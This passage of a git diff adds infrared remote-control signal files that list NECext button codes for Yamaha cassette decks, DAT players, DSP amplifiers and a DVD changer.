7F 00 00 00 +command: 93 00 00 00 +# +name: 4 +type: parsed +protocol: NECext +address: 7F 00 00 00 +command: 94 00 00 00 +# +name: 5 +type: parsed +protocol: NECext +address: 7F 00 00 00 +command: 95 00 00 00 +# +name: 6 +type: parsed +protocol: NECext +address: 7F 00 00 00 +command: 96 00 00 00 +# +name: 7 +type: parsed +protocol: NECext +address: 7F 00 00 00 +command: 97 00 00 00 +# +name: 8 +type: parsed +protocol: NECext +address: 7F 00 00 00 +command: 98 00 00 00 +# +name: 9 +type: parsed +protocol: NECext +address: 7F 00 00 00 +command: 99 00 00 00 +# +name: +10 +type: parsed +protocol: NECext +address: 7F 00 00 00 +command: 9A 00 00 00 +# +name: TEXT/TIME +type: parsed +protocol: NECext +address: 7F 00 00 00 +command: 9E 00 00 00 +# +name: REC +type: parsed +protocol: NECext +address: 7F 00 00 00 +command: A0 00 00 00 +# +name: COPY +type: parsed +protocol: NECext +address: 7F 00 00 00 +command: A3 00 00 00 +# +name: FINALIZE +type: parsed +protocol: NECext +address: 7F 00 00 00 +command: A5 00 00 00 +# +name: ERASE +type: parsed +protocol: NECext +address: 7F 00 00 00 +command: A6 00 00 00 +# +name: TRACK_NO._WRITE +type: parsed +protocol: NECext +address: 7F 00 00 00 +command: A7 00 00 00 +# +name: AMQR +type: parsed +protocol: NECext +address: 7F 00 00 00 +command: A8 00 00 00 +# +name: INPUT +type: parsed +protocol: NECext +address: 7F 00 00 00 +command: AB 00 00 00 +# +name: TIMER_REC +type: parsed +protocol: NECext +address: 7F 00 00 00 +command: B6 00 00 00 +# +name: ENTER +type: parsed +protocol: NECext +address: 7F 00 00 00 +command: B7 00 00 00 +# +name: COMPLETE +type: parsed +protocol: NECext +address: 7F 00 00 00 +command: B8 00 00 00 +# +name: MODE +type: parsed +protocol: NECext +address: 7F 00 00 00 +command: B9 00 00 00 +# +name: MENU +type: parsed +protocol: NECext +address: 7F 00 00 00 +command: BA 00 00 00 +# +name: VALUE_+ +type: parsed +protocol: NECext +address: 7F 00 00 00 +command: BB 00 00 00 +# +name: VALUE_- +type: parsed +protocol: NECext +address: 7F 00 00 00 +command: BC 00 00 00 +# +name: CDR +type: parsed +protocol: NECext +address: 7F 00 00 00 +command: BD 00 00 00 +# +name: HDD +type: parsed +protocol: NECext +address: 7F 00 00 00 +command: BE 00 00 00 +# +name: BOOKMARK +type: parsed +protocol: NECext +address: 7F 00 00 00 +command: DD 00 00 00 +# +name: GROUP_SKIP_- +type: parsed +protocol: NECext +address: 7F 00 00 00 +command: DE 00 00 00 +# +name: GROUP_SKIP_+ +type: parsed +protocol: NECext +address: 7F 00 00 00 +command: DF 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/Yamaha/Cassette Tape/122,-1.ir b/assets/resources/infrared/_CSV-IRDB_/Yamaha/Cassette Tape/122,-1.ir new file mode 100644 index 000000000..11ca0f8c7 --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/Yamaha/Cassette Tape/122,-1.ir @@ -0,0 +1,8 @@ +Filetype: IR signals file +Version: 1 +# +name: SEARCH_<< +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: 01 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/Yamaha/Cassette Tape/127,-1.ir b/assets/resources/infrared/_CSV-IRDB_/Yamaha/Cassette Tape/127,-1.ir new file mode 100644 index 000000000..ca4d4afc8 --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/Yamaha/Cassette Tape/127,-1.ir @@ -0,0 +1,80 @@ +Filetype: IR signals file +Version: 1 +# +name: PLAY +type: parsed +protocol: NECext +address: 7F 00 00 00 +command: 00 00 00 00 +# +name: SCAN_>> +type: parsed +protocol: NECext +address: 7F 00 00 00 +command: 02 00 00 00 +# +name: STOP +type: parsed +protocol: NECext +address: 7F 00 00 00 +command: 03 00 00 00 +# +name: 0 +type: parsed +protocol: NECext +address: 7F 00 00 00 +command: 10 00 00 00 +# +name: 1 +type: parsed +protocol: NECext +address: 7F 00 00 00 +command: 11 00 00 00 +# +name: 2 +type: parsed +protocol: NECext +address: 7F 00 00 00 +command: 12 00 00 00 +# +name: 3 +type: parsed +protocol: NECext +address: 7F 00 00 00 +command: 13 00 00 00 +# +name: 4 +type: parsed +protocol: NECext +address: 7F 00 00 00 +command: 14 00 00 00 +# +name: 5 +type: parsed +protocol: NECext +address: 7F 00 00 00 +command: 15 00 00 00 +# +name: 6 +type: parsed +protocol: NECext +address: 7F 00 00 00 +command: 16 00 00 00 +# +name: 7 +type: parsed +protocol: NECext +address: 7F 00 00 00 +command: 17 00 00 00 +# +name: 8 +type: parsed +protocol: NECext +address: 7F 00 00 00 +command: 18 00 00 00 +# +name: 9 +type: parsed +protocol: NECext +address: 7F 00 00 00 +command: 19 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/Yamaha/DAT/128,55.ir b/assets/resources/infrared/_CSV-IRDB_/Yamaha/DAT/128,55.ir new file mode 100644 index 000000000..412f10dd5 --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/Yamaha/DAT/128,55.ir @@ -0,0 +1,344 @@ +Filetype: IR signals file +Version: 1 +# +name: POWER_ON +type: parsed +protocol: NECext +address: 80 37 00 00 +command: 20 00 00 00 +# +name: OPEN/CLOSE +type: parsed +protocol: NECext +address: 80 37 00 00 +command: 21 00 00 00 +# +name: PLAY +type: parsed +protocol: NECext +address: 80 37 00 00 +command: 22 00 00 00 +# +name: PAUSE +type: parsed +protocol: NECext +address: 80 37 00 00 +command: 23 00 00 00 +# +name: STOP +type: parsed +protocol: NECext +address: 80 37 00 00 +command: 25 00 00 00 +# +name: BROADCAST +type: parsed +protocol: NECext +address: 80 37 00 00 +command: 31 00 00 00 +# +name: RANDOM +type: parsed +protocol: NECext +address: 80 37 00 00 +command: 32 00 00 00 +# +name: REPEAT +type: parsed +protocol: NECext +address: 80 37 00 00 +command: 33 00 00 00 +# +name: ARTISTS +type: parsed +protocol: NECext +address: 80 37 00 00 +command: 40 00 00 00 +# +name: ALBUMS +type: parsed +protocol: NECext +address: 80 37 00 00 +command: 41 00 00 00 +# +name: GENRES +type: parsed +protocol: NECext +address: 80 37 00 00 +command: 42 00 00 00 +# +name: ALL_SONGS +type: parsed +protocol: NECext +address: 80 37 00 00 +command: 43 00 00 00 +# +name: PLAYLIST +type: parsed +protocol: NECext +address: 80 37 00 00 +command: 44 00 00 00 +# +name: SONG_STATISTICS +type: parsed +protocol: NECext +address: 80 37 00 00 +command: 45 00 00 00 +# +name: BOOKMARKS +type: parsed +protocol: NECext +address: 80 37 00 00 +command: 46 00 00 00 +# +name: CD +type: parsed +protocol: NECext +address: 80 37 00 00 +command: 47 00 00 00 +# +name: RECORDING +type: parsed +protocol: NECext +address: 80 37 00 00 +command: 48 00 00 00 +# +name: CLIENT_PLAYBACK +type: parsed +protocol: NECext +address: 80 37 00 00 +command: 49 00 00 00 +# +name: EXT_INPUTS +type: parsed +protocol: NECext +address: 80 37 00 00 +command: 4B 00 00 00 +# +name: PLAY_INFO +type: parsed +protocol: NECext +address: 80 37 00 00 +command: 4E 00 00 00 +# +name: TOP_MENU +type: parsed +protocol: NECext +address: 80 37 00 00 +command: 50 00 00 00 +# +name: CURSOR_UP +type: parsed +protocol: NECext +address: 80 37 00 00 +command: 52 00 00 00 +# +name: CURSOR_DOWN +type: parsed +protocol: NECext +address: 80 37 00 00 +command: 53 00 00 00 +# +name: CURSOE_LEFT +type: parsed +protocol: NECext +address: 80 37 00 00 +command: 54 00 00 00 +# +name: CURSOR_RIGHT +type: parsed +protocol: NECext +address: 80 37 00 00 +command: 55 00 00 00 +# +name: ENTER +type: parsed +protocol: NECext +address: 80 37 00 00 +command: 56 00 00 00 +# +name: BACK +type: parsed +protocol: NECext +address: 80 37 00 00 +command: 57 00 00 00 +# +name: SUB_MENU +type: parsed +protocol: NECext +address: 80 37 00 00 +command: 58 00 00 00 +# +name: PAGE_+ +type: parsed +protocol: NECext +address: 80 37 00 00 +command: 59 00 00 00 +# +name: PAGE_- +type: parsed +protocol: NECext +address: 80 37 00 00 +command: 5A 00 00 00 +# +name: TIME +type: parsed +protocol: NECext +address: 80 37 00 00 +command: 5F 00 00 00 +# +name: POWER +type: parsed +protocol: NECext +address: 80 37 00 00 +command: 80 00 00 00 +# +name: PLAY +type: parsed +protocol: NECext +address: 80 37 00 00 +command: 82 00 00 00 +# +name: PAUSE +type: parsed +protocol: NECext +address: 80 37 00 00 +command: 83 00 00 00 +# +name: STOP +type: parsed +protocol: NECext +address: 80 37 00 00 +command: 85 00 00 00 +# +name: GROUP_- +type: parsed +protocol: NECext +address: 80 37 00 00 +command: 8A 00 00 00 +# +name: GROUP_+ +type: parsed +protocol: NECext +address: 80 37 00 00 +command: 8B 00 00 00 +# +name: FAVORITES_1 +type: parsed +protocol: NECext +address: 80 37 00 00 +command: 8C 00 00 00 +# +name: FAVORITES_2 +type: parsed +protocol: NECext +address: 80 37 00 00 +command: 8D 00 00 00 +# +name: FAVORITES_3 +type: parsed +protocol: NECext +address: 80 37 00 00 +command: 8E 00 00 00 +# +name: FAVORITES_4 +type: parsed +protocol: NECext +address: 80 37 00 00 +command: 8F 00 00 00 +# +name: BOOKMARK +type: parsed +protocol: NECext +address: 80 37 00 00 +command: 91 00 00 00 +# +name: RANDOM +type: parsed +protocol: NECext +address: 80 37 00 00 +command: 92 00 00 00 +# +name: REPEAT +type: parsed +protocol: NECext +address: 80 37 00 00 +command: 93 00 00 00 +# +name: INPUT +type: parsed +protocol: NECext +address: 80 37 00 00 +command: 98 00 00 00 +# +name: MUTE +type: parsed +protocol: NECext +address: 80 37 00 00 +command: 9D 00 00 00 +# +name: VOL_- +type: parsed +protocol: NECext +address: 80 37 00 00 +command: 9E 00 00 00 +# +name: VOL_+ +type: parsed +protocol: NECext +address: 80 37 00 00 +command: 9F 00 00 00 +# +name: PLAY_INFO +type: parsed +protocol: NECext +address: 80 37 00 00 +command: AE 00 00 00 +# +name: CURSOR_UP +type: parsed +protocol: NECext +address: 80 37 00 00 +command: B2 00 00 00 +# +name: CURSOR_DOWN +type: parsed +protocol: NECext +address: 80 37 00 00 +command: B3 00 00 00 +# +name: CURSOR_LEFT +type: parsed +protocol: NECext +address: 80 37 00 00 +command: B4 00 00 00 +# +name: CURSOR_RIGHT +type: parsed +protocol: NECext +address: 80 37 00 00 +command: B5 00 00 00 +# +name: ENTER +type: parsed +protocol: NECext +address: 80 37 00 00 +command: B6 00 00 00 +# +name: LIBRARY +type: parsed +protocol: NECext +address: 80 37 00 00 +command: BD 00 00 00 +# +name: OFF_TIMER +type: parsed +protocol: NECext +address: 80 37 00 00 +command: BE 00 00 00 +# +name: ON_TIMER +type: parsed +protocol: NECext +address: 80 37 00 00 +command: BF 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/Yamaha/DSP/120,-1.ir b/assets/resources/infrared/_CSV-IRDB_/Yamaha/DSP/120,-1.ir new file mode 100644 index 000000000..b11f1d33c --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/Yamaha/DSP/120,-1.ir @@ -0,0 +1,158 @@ +Filetype: IR signals file +Version: 1 +# +name: STANDBY/ON +type: parsed +protocol: NECext +address: 78 00 00 00 +command: 0F 00 00 00 +# +name: VOLUME_+ +type: parsed +protocol: NECext +address: 78 00 00 00 +command: 1E 00 00 00 +# +name: VOLUME_- +type: parsed +protocol: NECext +address: 78 00 00 00 +command: 1F 00 00 00 +# +name: CH_LEVEL +type: parsed +protocol: NECext +address: 78 00 00 00 +command: 48 00 00 00 +# +name: VCR +type: parsed +protocol: NECext +address: 78 00 00 00 +command: 49 00 00 00 +# +name: DVD +type: parsed +protocol: NECext +address: 78 00 00 00 +command: 4A 00 00 00 +# +name: SLEEP +type: parsed +protocol: NECext +address: 78 00 00 00 +command: 4F 00 00 00 +# +name: STEREO_MODE +type: parsed +protocol: NECext +address: 78 00 00 00 +command: 50 00 00 00 +# +name: TEST +type: parsed +protocol: NECext +address: 78 00 00 00 +command: 5F 00 00 00 +# +name: NIGHT +type: parsed +protocol: NECext +address: 78 00 00 00 +command: 8A 00 00 00 +# +name: ARROW_UP +type: parsed +protocol: NECext +address: 78 00 00 00 +command: 8E 00 00 00 +# +name: +type: parsed +protocol: NECext +address: 78 00 00 00 +command: 8F 00 00 00 +# +name: SURROUND +type: parsed +protocol: NECext +address: 78 00 00 00 +command: 99 00 00 00 +# +name: MUTE +type: parsed +protocol: NECext +address: 78 00 00 00 +command: 9C 00 00 00 +# +name: ARROW_DOWN +type: parsed +protocol: NECext +address: 78 00 00 00 +command: 9D 00 00 00 +# +name: SET_MENU +type: parsed +protocol: NECext +address: 78 00 00 00 +command: 9D 00 00 00 +# +name: ARROW_RIGHT +type: parsed +protocol: NECext +address: 78 00 00 00 +command: 9E 00 00 00 +# +name: ARROW_LEFT +type: parsed +protocol: NECext +address: 78 00 00 00 +command: 9F 00 00 00 +# +name: RETURN +type: parsed +protocol: NECext +address: 78 00 00 00 +command: C0 00 00 00 +# +name: SELECT +type: parsed +protocol: NECext +address: 78 00 00 00 +command: C1 00 00 00 +# +name: 5_BEAM_MODE +type: parsed +protocol: NECext +address: 78 00 00 00 +command: C2 00 00 00 +# +name: ST+3_BEAM_MODE +type: parsed +protocol: NECext +address: 78 00 00 00 +command: C3 00 00 00 +# +name: 3_BEAM_MODE +type: parsed +protocol: NECext +address: 78 00 00 00 +command: C4 00 00 00 +# +name: AUX +type: parsed +protocol: NECext +address: 78 00 00 00 +command: DE 00 00 00 +# +name: CODE_SET +type: parsed +protocol: NECext +address: 78 00 00 00 +command: DF 00 00 00 +# +name: TV +type: parsed +protocol: NECext +address: 78 00 00 00 +command: DF 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/Yamaha/DSP/122,-1.ir b/assets/resources/infrared/_CSV-IRDB_/Yamaha/DSP/122,-1.ir new file mode 100644 index 000000000..1166dda2b --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/Yamaha/DSP/122,-1.ir @@ -0,0 +1,230 @@ +Filetype: IR signals file +Version: 1 +# +name: VCR_1 +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: 0F 00 00 00 +# +name: VCR_2/DVR +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: 13 00 00 00 +# +name: PHONO +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: 14 00 00 00 +# +name: CD +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: 15 00 00 00 +# +name: TUNER +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: 16 00 00 00 +# +name: VOLUME_UP +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: 1A 00 00 00 +# +name: +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: 1A 00 00 00 +# +name: VOLUME_DOWN +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: 1B 00 00 00 +# +name: +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: 1B 00 00 00 +# +name: MUTE_ON/OFF +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: 1C 00 00 00 +# +name: POWER_ON +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: 1D 00 00 00 +# +name: +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: 1D 00 00 00 +# +name: STANDBY +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: 1E 00 00 00 +# +name: +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: 1E 00 00 00 +# +name: RIGHT +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: 52 00 00 00 +# +name: LEFT +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: 53 00 00 00 +# +name: D-TV/CBL +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: 54 00 00 00 +# +name: V-AUX +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: 55 00 00 00 +# +name: EFFECT_OFF +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: 56 00 00 00 +# +name: SLEEP +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: 57 00 00 00 +# +name: TEST +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: 85 00 00 00 +# +name: LEVEL +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: 86 00 00 00 +# +name: 6_CH_INPUT +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: 87 00 00 00 +# +name: HALL +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: 88 00 00 00 +# +name: JAZZ +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: 89 00 00 00 +# +name: ROCK +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: 8A 00 00 00 +# +name: ENTERTAIMENT +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: 8B 00 00 00 +# +name: TV_SPORTS +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: 8C 00 00 00 +# +name: MONO_MOVIE +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: 8D 00 00 00 +# +name: 1-MOVIE +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: 8E 00 00 00 +# +name: THTR-2 +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: 8F 00 00 00 +# +name: DOLBY/DTS_SUR. +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: 90 00 00 00 +# +name: UP +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: 98 00 00 00 +# +name: DOWN +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: 99 00 00 00 +# +name: SET_MENU +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: 9C 00 00 00 +# +name: DVD +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: C1 00 00 00 +# +name: SELECT +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: C2 00 00 00 +# +name: MD/CD-R +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: C9 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/Yamaha/DSP/4,-1.ir b/assets/resources/infrared/_CSV-IRDB_/Yamaha/DSP/4,-1.ir new file mode 100644 index 000000000..ce32950c0 --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/Yamaha/DSP/4,-1.ir @@ -0,0 +1,44 @@ +Filetype: IR signals file +Version: 1 +# +name: >>_DVD +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 20 00 00 00 +# +name: <<_DVD +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 21 00 00 00 +# +name: PLAY +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 2C 00 00 00 +# +name: PAUSE +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 30 00 00 00 +# +name: STOP +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 31 00 00 00 +# +name: MENU +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 54 00 00 00 +# +name: +10_DVD +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 78 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/Yamaha/DSP/6,-1.ir b/assets/resources/infrared/_CSV-IRDB_/Yamaha/DSP/6,-1.ir new file mode 100644 index 000000000..724f0221f --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/Yamaha/DSP/6,-1.ir @@ -0,0 +1,8 @@ +Filetype: IR signals file +Version: 1 +# +name: AV_POWER +type: parsed +protocol: NECext +address: 06 00 00 00 +command: 6F 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/Yamaha/DSP/80,-1.ir b/assets/resources/infrared/_CSV-IRDB_/Yamaha/DSP/80,-1.ir new file mode 100644 index 000000000..ae2583db9 --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/Yamaha/DSP/80,-1.ir @@ -0,0 +1,26 @@ +Filetype: IR signals file +Version: 1 +# +name: TV_INPUT +type: parsed +protocol: NECext +address: 50 00 00 00 +command: 09 00 00 00 +# +name: TV_MUTE +type: parsed +protocol: NECext +address: 50 00 00 00 +command: 0B 00 00 00 +# +name: TV_VOL_+ +type: parsed +protocol: NECext +address: 50 00 00 00 +command: 12 00 00 00 +# +name: TV_VOL_- +type: parsed +protocol: NECext +address: 50 00 00 00 +command: 15 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/Yamaha/DSP/87,-1.ir b/assets/resources/infrared/_CSV-IRDB_/Yamaha/DSP/87,-1.ir new file mode 100644 index 000000000..6f564a222 --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/Yamaha/DSP/87,-1.ir @@ -0,0 +1,86 @@ +Filetype: IR signals file +Version: 1 +# +name: 1 +type: parsed +protocol: NECext +address: 57 00 00 00 +command: 00 00 00 00 +# +name: 9 +type: parsed +protocol: NECext +address: 57 00 00 00 +command: 01 00 00 00 +# +name: 2 +type: parsed +protocol: NECext +address: 57 00 00 00 +command: 08 00 00 00 +# +name: 0 +type: parsed +protocol: NECext +address: 57 00 00 00 +command: 09 00 00 00 +# +name: CHANNEL_+ +type: parsed +protocol: NECext +address: 57 00 00 00 +command: 0A 00 00 00 +# +name: 3 +type: parsed +protocol: NECext +address: 57 00 00 00 +command: 10 00 00 00 +# +name: CHANNEL_- +type: parsed +protocol: NECext +address: 57 00 00 00 +command: 12 00 00 00 +# +name: 4 +type: parsed +protocol: NECext +address: 57 00 00 00 +command: 18 00 00 00 +# +name: 5 +type: parsed +protocol: NECext +address: 57 00 00 00 +command: 20 00 00 00 +# +name: >> +type: parsed +protocol: NECext +address: 57 00 00 00 +command: 24 00 00 00 +# +name: 6 +type: parsed +protocol: NECext +address: 57 00 00 00 +command: 28 00 00 00 +# +name: << +type: parsed +protocol: NECext +address: 57 00 00 00 +command: 2C 00 00 00 +# +name: 7 +type: parsed +protocol: NECext +address: 57 00 00 00 +command: 30 00 00 00 +# +name: 8 +type: parsed +protocol: NECext +address: 57 00 00 00 +command: 38 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/Yamaha/DVD Changer/4,-1.ir b/assets/resources/infrared/_CSV-IRDB_/Yamaha/DVD Changer/4,-1.ir new file mode 100644 index 000000000..eb56899ee --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/Yamaha/DVD Changer/4,-1.ir @@ -0,0 +1,470 @@ +Filetype: IR signals file +Version: 1 +# +name: 0 +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 00 00 00 00 +# +name: 0B +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 00 00 00 00 +# +name: 1 +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 01 00 00 00 +# +name: 1B +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 01 00 00 00 +# +name: 2 +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 02 00 00 00 +# +name: 2B +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 02 00 00 00 +# +name: 3 +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 03 00 00 00 +# +name: 3B +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 03 00 00 00 +# +name: 4 +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 04 00 00 00 +# +name: 4B +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 04 00 00 00 +# +name: 5 +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 05 00 00 00 +# +name: 5B +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 05 00 00 00 +# +name: 6 +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 06 00 00 00 +# +name: 6B +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 06 00 00 00 +# +name: 7 +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 07 00 00 00 +# +name: 7B +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 07 00 00 00 +# +name: 8 +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 08 00 00 00 +# +name: 8B +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 08 00 00 00 +# +name: 9 +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 09 00 00 00 +# +name: 9B +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 09 00 00 00 +# +name: POWER +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 0C 00 00 00 +# +name: POWER_B +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 0C 00 00 00 +# +name: POWER_TOGGLE +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 0C 00 00 00 +# +name: ON_SCREEN +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 0F 00 00 00 +# +name: ON_SCREEN_B +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 0F 00 00 00 +# +name: DIMMER +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 13 00 00 00 +# +name: DIMMER_B +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 13 00 00 00 +# +name: SHUFFLE +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 1C 00 00 00 +# +name: SHUFFLE_B +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 1C 00 00 00 +# +name: REPEAT +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 1D 00 00 00 +# +name: SKIP_>> +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 20 00 00 00 +# +name: SKIP_>>_B +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 20 00 00 00 +# +name: CHAPTER_> +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 20 00 00 00 +# +name: SKIP_<< +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 21 00 00 00 +# +name: SKIP_<<_B +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 21 00 00 00 +# +name: CHAPTER_< +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 21 00 00 00 +# +name: PLAY +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 2C 00 00 00 +# +name: PLAY_B +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 2C 00 00 00 +# +name: PAUSE +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 30 00 00 00 +# +name: PAUSE_B +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 30 00 00 00 +# +name: STOP +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 31 00 00 00 +# +name: STOP_B +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 31 00 00 00 +# +name: SIDE_A/B +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 3B 00 00 00 +# +name: SIDE_A/B_B +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 3B 00 00 00 +# +name: A-B +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 3B 00 00 00 +# +name: SUBTITLE +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 4B 00 00 00 +# +name: SUBTITLE_B +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 4B 00 00 00 +# +name: AUDIO_MODE +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 4E 00 00 00 +# +name: AUDIO_MODE_B +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 4E 00 00 00 +# +name: AUDIO +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 4E 00 00 00 +# +name: SOUND_MODE +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 50 00 00 00 +# +name: SOUND_MODE_B +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 50 00 00 00 +# +name: MENU +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 54 00 00 00 +# +name: CURSOR_UP +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 58 00 00 00 +# +name: CURSOR_UP_B +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 58 00 00 00 +# +name: CURSOR_DOWN +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 59 00 00 00 +# +name: CURSOR_DOWN_B +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 59 00 00 00 +# +name: CURSOR_LEFT +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 5A 00 00 00 +# +name: CURSOR_LEFT_B +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 5A 00 00 00 +# +name: CURSOR_RIGHT +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 5B 00 00 00 +# +name: CURSOR_RIGHT_B +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 5B 00 00 00 +# +name: ENTER +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 5C 00 00 00 +# +name: ENTER_B +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 5C 00 00 00 +# +name: DISC_SKIP +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 7F 00 00 00 +# +name: DISK_SKIP_B +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 7F 00 00 00 +# +name: DISK_SKIP +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 7F 00 00 00 +# +name: SETUP +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 82 00 00 00 +# +name: SETUP_B +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 82 00 00 00 +# +name: TOP_MENU +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 83 00 00 00 +# +name: TOP_MENU_B +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 83 00 00 00 +# +name: TOP_MENU/RETURN +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 83 00 00 00 +# +name: ANGLE +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 85 00 00 00 +# +name: ANGLE_B +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 85 00 00 00 +# +name: PAGE +type: parsed +protocol: NECext +address: 04 00 00 00 +command: CF 00 00 00 +# +name: PAGE_B +type: parsed +protocol: NECext +address: 04 00 00 00 +command: CF 00 00 00 +# +name: SCAN +type: parsed +protocol: NECext +address: 04 00 00 00 +command: D5 00 00 00 +# +name: ZOOM +type: 